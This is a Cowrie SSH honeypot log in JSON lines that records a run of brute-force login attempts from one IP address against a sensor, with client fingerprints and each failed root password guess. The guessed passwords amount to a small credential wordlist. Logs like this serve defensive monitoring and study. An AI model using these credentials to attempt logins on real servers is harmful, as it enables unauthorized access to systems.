{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:07.649096Z","src_ip":"60.165.124.241","session":"e608efe97d97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Js123456","message":"login attempt [root/Js123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:08.401990Z","src_ip":"60.165.124.241","session":"e608efe97d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:09.656614Z","src_ip":"60.165.124.241","session":"e608efe97d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46106,"dst_ip":"10.17.0.5","dst_port":22,"session":"42003fc0e3d8","protocol":"ssh","message":"New connection: 60.165.124.241:46106 (10.17.0.5:22) [session: 42003fc0e3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:09.890388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:09.895969Z","src_ip":"60.165.124.241","session":"42003fc0e3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:10.137508Z","src_ip":"60.165.124.241","session":"42003fc0e3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASDZXC!@#","message":"login attempt [root/123qweASDZXC!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:10.860101Z","src_ip":"60.165.124.241","session":"42003fc0e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:12.100744Z","src_ip":"60.165.124.241","session":"42003fc0e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49476,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de2d8e52f11","protocol":"ssh","message":"New connection: 60.165.124.241:49476 (10.17.0.5:22) [session: 7de2d8e52f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:12.332018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:12.338207Z","src_ip":"60.165.124.241","session":"7de2d8e52f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:12.588011Z","src_ip":"60.165.124.241","session":"7de2d8e52f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer@1234","message":"login attempt [root/Qwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:13.304766Z","src_ip":"60.165.124.241","session":"7de2d8e52f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:14.546351Z","src_ip":"60.165.124.241","session":"7de2d8e52f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52394,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a7efbe2409","protocol":"ssh","message":"New connection: 60.165.124.241:52394 (10.17.0.5:22) [session: 83a7efbe2409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:14.802524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:14.809014Z","src_ip":"60.165.124.241","session":"83a7efbe2409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:15.058180Z","src_ip":"60.165.124.241","session":"83a7efbe2409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2019","message":"login attempt [root/Root@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:15.817829Z","src_ip":"60.165.124.241","session":"83a7efbe2409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:17.069671Z","src_ip":"60.165.124.241","session":"83a7efbe2409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55458,"dst_ip":"10.17.0.5","dst_port":22,"session":"3003e33df300","protocol":"ssh","message":"New connection: 60.165.124.241:55458 (10.17.0.5:22) [session: 3003e33df300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:17.291572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:17.297170Z","src_ip":"60.165.124.241","session":"3003e33df300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:17.533970Z","src_ip":"60.165.124.241","session":"3003e33df300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ct123456-","message":"login attempt [root/ct123456-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:18.251229Z","src_ip":"60.165.124.241","session":"3003e33df300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:19.491433Z","src_ip":"60.165.124.241","session":"3003e33df300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58634,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff70273a30d","protocol":"ssh","message":"New connection: 60.165.124.241:58634 (10.17.0.5:22) [session: 6ff70273a30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:19.723539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:19.728637Z","src_ip":"60.165.124.241","session":"6ff70273a30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:19.967613Z","src_ip":"60.165.124.241","session":"6ff70273a30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skskfdl","message":"login attempt [root/skskfdl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:20.682196Z","src_ip":"60.165.124.241","session":"6ff70273a30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:21.921829Z","src_ip":"60.165.124.241","session":"6ff70273a30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"490eeefd7077","protocol":"ssh","message":"New connection: 60.165.124.241:33588 (10.17.0.5:22) [session: 490eeefd7077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:22.178976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:22.184575Z","src_ip":"60.165.124.241","session":"490eeefd7077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:22.433417Z","src_ip":"60.165.124.241","session":"490eeefd7077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rk123456@","message":"login attempt [root/Rk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:23.185206Z","src_ip":"60.165.124.241","session":"490eeefd7077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:24.437297Z","src_ip":"60.165.124.241","session":"490eeefd7077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36732,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b2d55acfe6d","protocol":"ssh","message":"New connection: 60.165.124.241:36732 (10.17.0.5:22) [session: 6b2d55acfe6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:24.685294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:24.691847Z","src_ip":"60.165.124.241","session":"6b2d55acfe6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:24.946045Z","src_ip":"60.165.124.241","session":"6b2d55acfe6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Eccom@123","message":"login attempt [root/Eccom@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:25.712138Z","src_ip":"60.165.124.241","session":"6b2d55acfe6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:26.964723Z","src_ip":"60.165.124.241","session":"6b2d55acfe6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f62ed7db9f9","protocol":"ssh","message":"New connection: 60.165.124.241:39892 (10.17.0.5:22) [session: 2f62ed7db9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:27.189358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:27.194371Z","src_ip":"60.165.124.241","session":"2f62ed7db9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:27.433108Z","src_ip":"60.165.124.241","session":"2f62ed7db9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Best@123","message":"login attempt [root/Best@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:28.166697Z","src_ip":"60.165.124.241","session":"2f62ed7db9f9","protocol":"ssh"}
